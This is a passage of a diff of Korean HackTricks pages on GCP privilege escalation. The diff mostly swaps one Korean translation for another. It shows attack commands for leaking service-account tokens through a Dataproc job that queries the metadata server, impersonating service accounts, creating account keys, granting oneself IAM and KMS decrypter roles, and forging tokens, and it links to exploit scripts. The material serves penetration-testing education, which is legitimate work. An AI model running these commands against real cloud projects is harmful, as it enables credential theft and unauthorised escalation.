### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
|
||||
|
||||
이 방법을 사용하여 리버스 셸을 얻는 것은 불가능했지만, 아래에 설명된 방법을 사용하여 메타데이터 엔드포인트에서 SA 토큰을 유출할 수 있습니다.
|
||||
이 방법으로는 reverse shell을 얻을 수 없었습니다. 그러나 아래에 설명된 방법을 통해 metadata endpoint에서 SA token을 leak할 수 있습니다.
|
||||
|
||||
#### Exploit 단계
|
||||
#### Steps to exploit
|
||||
|
||||
- GCP 버킷에 작업 스크립트를 배치합니다.
|
||||
- 작업 스크립트를 GCP Bucket에 올립니다.
|
||||
|
||||
- Dataproc 클러스터에 작업을 제출합니다.
|
||||
- Dataproc cluster에 작업을 제출합니다.
|
||||
|
||||
- 작업을 사용하여 메타데이터 서버에 접근합니다.
|
||||
- 작업을 이용해 metadata server에 접근합니다.
|
||||
|
||||
- 클러스터에서 사용되는 서비스 계정 토큰을 유출합니다.
|
||||
- 클러스터에서 사용되는 service account token을 leak합니다.
|
||||
|
||||
<details><summary>Python script to fetch SA token from metadata server</summary>
|
||||
```python
|
||||
import requests
|
||||
|
||||
@@ -41,7 +43,9 @@ return None
|
||||
if __name__ == "__main__":
|
||||
fetch_metadata_token()
|
||||
```
|
||||
</details>
|
||||
|
||||
<details><summary>Dataproc 클러스터에 악성 작업 제출</summary>
|
||||
```bash
|
||||
# Copy the script to the storage bucket
|
||||
gsutil cp <python-script> gs://<bucket-name>/<python-script>
|
||||
@@ -51,4 +55,6 @@ gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
|
||||
--cluster=<cluster-name> \
|
||||
--region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
IAM에 대한 자세한 정보는 다음에서 확인하세요:
|
||||
IAM에 대한 자세한 내용은 다음을 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,40 +12,54 @@ IAM에 대한 자세한 정보는 다음에서 확인하세요:
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
언급된 권한을 가진 공격자는 귀하에게 할당된 역할을 업데이트하고 다음과 같은 다른 리소스에 대한 추가 권한을 부여할 수 있습니다:
|
||||
언급된 권한을 가진 공격자는 당신에게 할당된 역할을 업데이트하여 다음과 같은 다른 리소스에 대한 추가 권한을 부여할 수 있습니다:
|
||||
|
||||
<details><summary>IAM 역할을 업데이트하여 권한 추가</summary>
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
여기에서 **취약한 환경의 생성, 악용 및 정리를 자동화하는 스크립트**를 찾을 수 있으며, 이 권한을 악용하기 위한 파이썬 스크립트는 [**여기**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)에서 확인할 수 있습니다. 더 많은 정보는 [**원본 연구**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 확인하세요.
|
||||
</details>
|
||||
|
||||
취약 환경의 **creation, exploit and cleaning of a vuln environment here**을 자동화하는 스크립트와 이 권한을 악용하는 python 스크립트는 [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)에서 확인할 수 있습니다. 자세한 내용은 [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 참고하세요.
|
||||
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
언급된 권한을 가진 공격자는 **서비스 계정에 속하는 액세스 토큰을 요청할 수 있으므로, 우리의 권한보다 더 많은 권한을 가진 서비스 계정의 액세스 토큰을 요청할 수 있습니다.**
|
||||
언급된 권한을 가진 공격자는 **request an access token that belongs to a Service Account**할 수 있어, 우리보다 권한이 더 높은 Service Account의 access token을 요청하는 것이 가능합니다.
|
||||
|
||||
<details><summary>Impersonate service account to get access token</summary>
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
여기에서 [**취약한 환경의 생성, 악용 및 정리를 자동화하는 스크립트**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh)와 이 권한을 악용하기 위한 파이썬 스크립트를 [**찾을 수 있습니다**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). 더 많은 정보는 [**원본 연구**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 확인하세요.
|
||||
</details>
|
||||
|
||||
자동화된 [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) 스크립트와 이 권한을 악용하기 위한 python 스크립트는 [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py)에서 확인할 수 있습니다. 자세한 내용은 [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 참고하세요.
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
언급된 권한을 가진 공격자는 **서비스 계정에 대한 사용자 관리 키를 생성**할 수 있으며, 이를 통해 해당 서비스 계정으로 GCP에 접근할 수 있습니다.
|
||||
앞서 언급한 권한을 가진 attacker는 **Service Account에 대한 user-managed key를 생성할 수 있으며**, 이를 통해 해당 Service Account로 GCP에 접근할 수 있습니다.
|
||||
|
||||
<details><summary>Service Account 키 생성 및 인증</summary>
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
다음은 취약한 환경의 [**생성, 악용 및 정리 자동화 스크립트**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh)와 이 권한을 악용하기 위한 파이썬 스크립트 [**여기**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py)에서 찾을 수 있습니다. 더 많은 정보는 [**원본 연구**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 확인하세요.
|
||||
</details>
|
||||
|
||||
**`iam.serviceAccountKeys.update`는 SA의 키를 수정하는 데 작동하지 않습니다**. 이를 위해서는 `iam.serviceAccountKeys.create` 권한도 필요합니다.
|
||||
다음에서 [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) 스크립트를 자동화하는 스크립트와 이 권한을 악용하는 python 스크립트는 [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py)에서 확인할 수 있습니다. 자세한 내용은 [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 참고하세요.
|
||||
|
||||
참고로 **`iam.serviceAccountKeys.update` won't work to modify the key** 는 SA의 키를 수정하는 데 작동하지 않습니다. 그런 작업을 하려면 `iam.serviceAccountKeys.create` 권한도 필요합니다.
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
**`iam.serviceAccounts.implicitDelegation`** 권한이 있는 서비스 계정이 **`iam.serviceAccounts.getAccessToken`** 권한을 가진 다른 서비스 계정이 있다면, implicitDelegation을 사용하여 **해당 다른 서비스 계정을 위한 토큰을 생성할 수 있습니다**. 설명을 돕기 위한 다이어그램은 다음과 같습니다.
|
||||
만약 특정 Service Account에 대해 **`iam.serviceAccounts.implicitDelegation`** 권한을 가지고 있고, 그 Service Account가 세 번째 Service Account에 대해 **`iam.serviceAccounts.getAccessToken`** 권한을 가지고 있다면, implicitDelegation을 사용해 그 세 번째 Service Account의 토큰을 **생성할 수 있습니다**. 이해를 돕기 위한 다이어그램은 다음과 같습니다.
|
||||
|
||||

|
||||
|
||||
[**문서**](https://cloud.google.com/iam/docs/understanding-service-accounts)에 따르면, `gcloud`의 위임은 [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) 메서드를 사용하여 토큰을 생성하는 데만 작동합니다. 따라서 API를 직접 사용하여 토큰을 얻는 방법은 다음과 같습니다:
|
||||
[**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts)에 따르면, `gcloud`의 위임은 [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) 메서드를 사용하여 토큰을 생성할 때만 작동합니다. 따라서 아래는 API를 직접 사용하여 토큰을 얻는 방법입니다:
|
||||
|
||||
<details><summary>Generate access token with delegation using API</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
@@ -56,23 +70,27 @@ curl -X POST \
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
```
|
||||
다음은 취약한 환경의 [**생성, 악용 및 정리를 자동화하는 스크립트**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh)와 이 권한을 악용하기 위한 파이썬 스크립트를 [**여기서**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py) 찾을 수 있습니다. 더 많은 정보는 [**원본 연구**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 확인하세요.
|
||||
</details>
|
||||
|
||||
다음에서 취약 환경의 [**생성, 익스플로잇 및 정리 자동화 스크립트**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh)와 이 권한을 악용하는 파이썬 스크립트 [**여기**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py)를 찾을 수 있습니다. 자세한 내용은 [**원문 연구**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 참고하세요.
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
언급된 권한을 가진 공격자는 **GCP에서 임의의 페이로드에 서명할 수 있습니다**. 따라서 **SA의 서명되지 않은 JWT를 생성한 다음, 이를 블롭으로 보내어 우리가 목표로 하는 SA에 의해 JWT에 서명받을 수 있습니다**. 더 많은 정보는 [**여기서 읽어보세요**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
언급한 권한을 가진 공격자는 GCP에서 **임의 페이로드에 서명**할 수 있습니다. 따라서 대상 SA의 서명을 받기 위해 **SA의 서명되지 않은 JWT를 생성한 후 이를 blob으로 보내 JWT에 서명을 받는 것**이 가능합니다. 자세한 내용은 [**이 글 읽기**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)를 참고하세요.
|
||||
|
||||
다음은 취약한 환경의 [**생성, 악용 및 정리를 자동화하는 스크립트**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh)와 이 권한을 악용하기 위한 파이썬 스크립트를 [**여기서**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) 및 [**여기서**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py) 찾을 수 있습니다. 더 많은 정보는 [**원본 연구**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 확인하세요.
|
||||
다음에서 취약 환경의 [**생성, 익스플로잇 및 정리 자동화 스크립트**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh)와 이 권한을 악용하는 파이썬 스크립트 [**여기**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) 및 [**여기**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py)를 찾을 수 있습니다. 자세한 내용은 [**원문 연구**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 참고하세요.
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
언급된 권한을 가진 공격자는 **형식이 올바른 JSON 웹 토큰(JWT)에 서명할 수 있습니다**. 이전 방법과의 차이점은 **구글이 JWT를 포함하는 블롭에 서명하도록 하는 대신, 이미 JWT를 기대하는 signJWT 메서드를 사용한다는 것입니다**. 이는 사용하기 더 쉽지만, 바이트 대신 JWT만 서명할 수 있습니다.
|
||||
언급한 권한을 가진 공격자는 **정형화된 JSON web token(JWT)에 서명**할 수 있습니다. 이전 방식과의 차이는 **JWT를 포함한 blob에 Google이 서명하게 하는 대신, 이미 JWT를 기대하는 signJWT 메서드를 사용한다는 것**입니다. 이로 인해 사용은 더 쉬워지지만 임의 바이트 대신 JWT만 서명할 수 있습니다.
|
||||
|
||||
다음은 취약한 환경의 [**생성, 악용 및 정리를 자동화하는 스크립트**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh)와 이 권한을 악용하기 위한 파이썬 스크립트를 [**여기서**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py) 찾을 수 있습니다. 더 많은 정보는 [**원본 연구**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 확인하세요.
|
||||
다음에서 취약 환경의 [**생성, 익스플로잇 및 정리 자동화 스크립트**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh)와 이 권한을 악용하는 파이썬 스크립트 [**여기**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py)를 찾을 수 있습니다. 자세한 내용은 [**원문 연구**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 참고하세요.
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
언급된 권한을 가진 공격자는 **서비스 계정에 IAM 정책을 추가할 수 있습니다**. 이를 악용하여 **서비스 계정을 가장하는 데 필요한 권한을 부여할 수 있습니다**. 다음 예제에서는 흥미로운 SA에 대해 `roles/iam.serviceAccountTokenCreator` 역할을 자신에게 부여하고 있습니다:
|
||||
언급한 권한을 가진 공격자는 **service accounts에 IAM 정책을 추가**할 수 있습니다. 이를 악용해 service account를 가장하는 데 필요한 권한을 **자신에게 부여**할 수 있습니다. 다음 예에서는 관심 있는 SA에 대해 `roles/iam.serviceAccountTokenCreator` 역할을 자신에게 부여하고 있습니다:
|
||||
|
||||
<details><summary>서비스 계정에 IAM 정책 바인딩 추가</summary>
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
@@ -83,47 +101,57 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
여기에서 [**취약한 환경의 생성, 악용 및 정리를 자동화하는 스크립트**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**를 찾을 수 있습니다.**
|
||||
</details>
|
||||
|
||||
취약 환경의 자동화된 생성, 악용 및 정리 스크립트는 [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
**iam.serviceAccounts.actAs 권한**은 **AWS의 iam:PassRole 권한**과 유사합니다. 이는 Compute Engine 인스턴스를 시작하는 것과 같은 작업을 실행하는 데 필수적이며, 서비스 계정을 "actAs"할 수 있는 능력을 부여하여 안전한 권한 관리를 보장합니다. 이 권한이 없으면 사용자가 부당한 접근을 할 수 있습니다. 또한, **iam.serviceAccounts.actAs**를 악용하는 것은 다양한 방법을 포함하며, 각 방법은 특정 권한 세트를 요구하고, 다른 방법들은 단 하나의 권한만 필요로 합니다.
|
||||
**iam.serviceAccounts.actAs permission**은 AWS의 **iam:PassRole permission**과 유사합니다. 이는 Compute Engine 인스턴스 시작과 같은 작업을 수행할 때 Service Account로 "actAs"할 수 있게 해 주며, 권한 관리를 보다 안전하게 합니다. 이 권한이 없으면 사용자가 부적절한 접근 권한을 획득할 수 있습니다. 또한 **iam.serviceAccounts.actAs**를 악용하는 방법은 여러 가지가 있으며, 각 방법은 서로 다른 권한 집합을 요구하는 반면 일부 다른 방법은 단 하나의 권한만 필요합니다.
|
||||
|
||||
#### 서비스 계정 가장하기 <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
서비스 계정을 가장하는 것은 **새롭고 더 나은 권한을 얻는 데 매우 유용할 수 있습니다**. 다른 서비스 계정을 [가장하는 세 가지 방법](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account)이 있습니다:
|
||||
Service account를 가장(impersonate)하면 새로운 더 높은 권한을 얻는 데 매우 유용할 수 있습니다. 다음은 [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account)할 수 있는 세 가지 방법입니다:
|
||||
|
||||
- RSA 개인 키를 **사용한 인증** (위에서 다룸)
|
||||
- Cloud IAM 정책을 **사용한 권한 부여** (여기에서 다룸)
|
||||
- GCP 서비스에서 **작업 배포** (사용자 계정의 손상에 더 적용 가능)
|
||||
- 인증(Authentication) **using RSA private keys** (위에서 설명)
|
||||
- 권한 부여(Authorization) **using Cloud IAM policies** (여기에서 설명)
|
||||
- **Deploying jobs on GCP services** (사용자 계정 침해에 더 해당)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
언급된 권한을 가진 공격자는 OpenID JWT를 생성할 수 있습니다. 이는 신원을 주장하는 데 사용되며, 리소스에 대한 암묵적인 권한 부여를 반드시 포함하지는 않습니다.
|
||||
앞서 언급한 권한을 가진 공격자는 OpenID JWT를 생성할 수 있습니다. 이 토큰은 신원을 증명하는 데 사용되며 특정 리소스에 대한 암묵적인 권한을 반드시 포함하지는 않습니다.
|
||||
|
||||
이 [**흥미로운 게시물**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b)에 따르면, 청중(토큰을 사용하여 인증하려는 서비스)을 지정해야 하며, 그러면 서비스 계정과 JWT의 청중을 나타내는 Google에 의해 서명된 JWT를 받게 됩니다.
|
||||
이 [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b)에 따르면, 토큰을 사용할 서비스(토큰을 인증에 사용할 대상, audience)를 지정해야 하며, 그러면 service account와 JWT의 audience를 표시하는 google 서명 JWT를 받게 됩니다.
|
||||
|
||||
접근 권한이 있는 경우 OpenIDToken을 생성할 수 있습니다:
|
||||
액세스가 있다면 다음으로 OpenIDToken을 생성할 수 있습니다:
|
||||
|
||||
<details><summary>Generate OpenID token for service account</summary>
|
||||
```bash
|
||||
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
|
||||
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
그럼 다음과 같이 서비스를 액세스하는 데 사용할 수 있습니다:
|
||||
</details>
|
||||
|
||||
그런 다음 이를 사용하여 서비스에 접근할 수 있습니다:
|
||||
|
||||
<details><summary>Use OpenID token to authenticate</summary>
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
다음과 같은 토큰을 통해 인증을 지원하는 서비스가 있습니다:
|
||||
</details>
|
||||
|
||||
이러한 토큰을 통해 인증을 지원하는 일부 서비스는 다음과 같습니다:
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (Google OIDC 사용 시)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (Google OIDC를 사용하는 경우)
|
||||
|
||||
서비스 계정을 대신하여 OpenID 토큰을 생성하는 방법에 대한 예시는 [**여기**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)에서 확인할 수 있습니다.
|
||||
서비스 계정을 대신하여 OpenID 토큰을 생성하는 방법의 예는 [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)에서 확인할 수 있습니다.
|
||||
|
||||
## References
|
||||
## 참고자료
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
@@ -10,11 +10,13 @@ KMS에 대한 정보:
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
KMS에서는 **권한**이 조직, 폴더 및 프로젝트에서 **상속**될 뿐만 아니라 **키링**에서도 상속된다는 점에 유의하세요.
|
||||
KMS에서는 **권한**이 Orgs, Folders 및 Projects뿐만 아니라 **Keyrings**에서도 **상속**된다는 점에 유의하세요.
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecrypt`
|
||||
|
||||
이 권한을 사용하여 **해당 권한이 있는 키로 정보를 복호화**할 수 있습니다.
|
||||
이 권한을 사용하면 해당 **키로 정보를 decrypt**할 수 있습니다.
|
||||
|
||||
<details><summary>KMS 키를 사용하여 데이터를 decrypt</summary>
|
||||
```bash
|
||||
gcloud kms decrypt \
|
||||
--location=[LOCATION] \
|
||||
@@ -24,9 +26,13 @@ gcloud kms decrypt \
|
||||
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
|
||||
--plaintext-file=[DECRYPTED_FILE_PATH]
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeys.setIamPolicy`
|
||||
|
||||
이 권한을 가진 공격자는 **자신에게 권한을 부여**하여 키를 사용해 정보를 복호화할 수 있습니다.
|
||||
이 권한을 가진 공격자는 키를 사용해 정보를 복호화하도록 **자신에게 권한을 부여할 수 있습니다**.
|
||||
|
||||
<details><summary>Grant yourself KMS decrypter role</summary>
|
||||
```bash
|
||||
gcloud kms keys add-iam-policy-binding [KEY_NAME] \
|
||||
--location [LOCATION] \
|
||||
@@ -34,20 +40,24 @@ gcloud kms keys add-iam-policy-binding [KEY_NAME] \
|
||||
--member [MEMBER] \
|
||||
--role roles/cloudkms.cryptoKeyDecrypter
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`
|
||||
|
||||
이 위임이 작동하는 방식에 대한 개념적 분석은 다음과 같습니다:
|
||||
다음은 이 위임이 어떻게 작동하는지에 대한 개념적 설명입니다:
|
||||
|
||||
1. **서비스 계정 A**는 KMS에서 특정 키를 사용하여 직접적으로 복호화할 수 있는 권한을 가지고 있습니다.
|
||||
2. **서비스 계정 B**는 `useToDecryptViaDelegation` 권한을 부여받습니다. 이를 통해 서비스 계정 A를 대신하여 KMS에 데이터를 복호화 요청할 수 있습니다.
|
||||
1. **Service Account A**는 KMS의 특정 키로 복호화할 수 있는 직접적인 접근 권한을 가지고 있습니다.
|
||||
2. **Service Account B**는 `useToDecryptViaDelegation` 권한이 부여됩니다. 이는 B가 Service Account A를 대신해 KMS에 데이터 복호화를 요청할 수 있게 합니다.
|
||||
|
||||
이 **권한의 사용은 복호화 요청이 이루어질 때 KMS 서비스가 권한을 확인하는 방식에 암묵적으로 포함되어 있습니다**.
|
||||
이 **권한의 사용은 복호화 요청이 들어왔을 때 KMS 서비스가 권한을 확인하는 방식에 암묵적으로 포함되어 있습니다**.
|
||||
|
||||
Google Cloud KMS API를 사용하여 표준 복호화 요청을 할 때(파이썬 또는 다른 언어에서), 서비스는 **요청하는 서비스 계정이 필요한 권한을 가지고 있는지 확인합니다**. 요청이 **`useToDecryptViaDelegation`** 권한을 가진 서비스 계정에 의해 이루어지면, KMS는 이 **계정이 키를 소유한 엔티티를 대신하여 복호화를 요청할 수 있는지 확인합니다**.
|
||||
Google Cloud KMS API(예: Python 또는 다른 언어)를 사용해 표준 복호화 요청을 할 때, 서비스는 **요청하는 서비스 계정이 필요한 권한을 가지고 있는지**를 확인합니다. 요청을 하는 서비스 계정이 `useToDecryptViaDelegation` 권한을 가지고 있다면, KMS는 이 계정이 **키 소유자를 대신해 복호화를 요청할 수 있는지**를 검증합니다.
|
||||
|
||||
#### 위임 설정하기
|
||||
#### Setting Up for Delegation
|
||||
|
||||
1. **사용자 정의 역할 정의**: 사용자 정의 역할을 정의하는 YAML 파일(예: `custom_role.yaml`)을 생성합니다. 이 파일에는 `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` 권한이 포함되어야 합니다. 이 파일이 어떻게 생겼는지에 대한 예시는 다음과 같습니다:
|
||||
1. **Define the Custom Role**: YAML 파일(예: `custom_role.yaml`)을 생성하여 커스텀 역할을 정의합니다. 이 파일에는 `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` 권한이 포함되어야 합니다. 다음은 이 파일의 예시입니다:
|
||||
|
||||
<details><summary>커스텀 역할 YAML 정의</summary>
|
||||
```yaml
|
||||
title: "KMS Decryption via Delegation"
|
||||
description: "Allows decryption via delegation"
|
||||
@@ -55,13 +65,21 @@ stage: "GA"
|
||||
includedPermissions:
|
||||
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
|
||||
```
|
||||
2. **gcloud CLI를 사용하여 사용자 정의 역할 만들기**: 다음 명령어를 사용하여 Google Cloud 프로젝트에서 사용자 정의 역할을 만듭니다:
|
||||
</details>
|
||||
|
||||
2. **gcloud CLI를 사용하여 커스텀 역할 생성하기**: 다음 명령을 사용해 Google Cloud 프로젝트에서 커스텀 역할을 생성합니다:
|
||||
|
||||
<details><summary>Create custom KMS role</summary>
|
||||
```bash
|
||||
gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
|
||||
```
|
||||
`[YOUR_PROJECT_ID]`를 Google Cloud 프로젝트 ID로 교체하세요.
|
||||
`[YOUR_PROJECT_ID]`를 Google Cloud 프로젝트 ID로 바꿔주세요.
|
||||
|
||||
3. **서비스 계정에 사용자 정의 역할 부여**: 이 권한을 사용할 서비스 계정에 사용자 정의 역할을 할당합니다. 다음 명령어를 사용하세요:
|
||||
</details>
|
||||
|
||||
3. **서비스 계정에 커스텀 역할 부여**: 이 권한을 사용할 서비스 계정에 커스텀 역할을 할당합니다. 다음 명령어를 사용하세요:
|
||||
|
||||
<details><summary>서비스 계정에 커스텀 역할 부여</summary>
|
||||
```bash
|
||||
# Give this permission to the service account to impersonate
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
@@ -73,6 +91,8 @@ gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
|
||||
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
|
||||
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
|
||||
```
|
||||
`[YOUR_PROJECT_ID]`와 `[SERVICE_ACCOUNT_EMAIL]`를 각각 프로젝트 ID와 서비스 계정의 이메일로 교체하세요.
|
||||
[YOUR_PROJECT_ID]와 [SERVICE_ACCOUNT_EMAIL]을 각각 프로젝트 ID와 서비스 계정의 이메일로 바꾸세요.
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,40 +1,40 @@
|
||||
# GCP - 로컬 권한 상승 SSH 피벗팅
|
||||
# GCP - local privilege escalation ssh pivoting
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
이 시나리오에서는 **VM 내에서 비특권 계정을 침해한 상태**라고 가정합니다.
|
||||
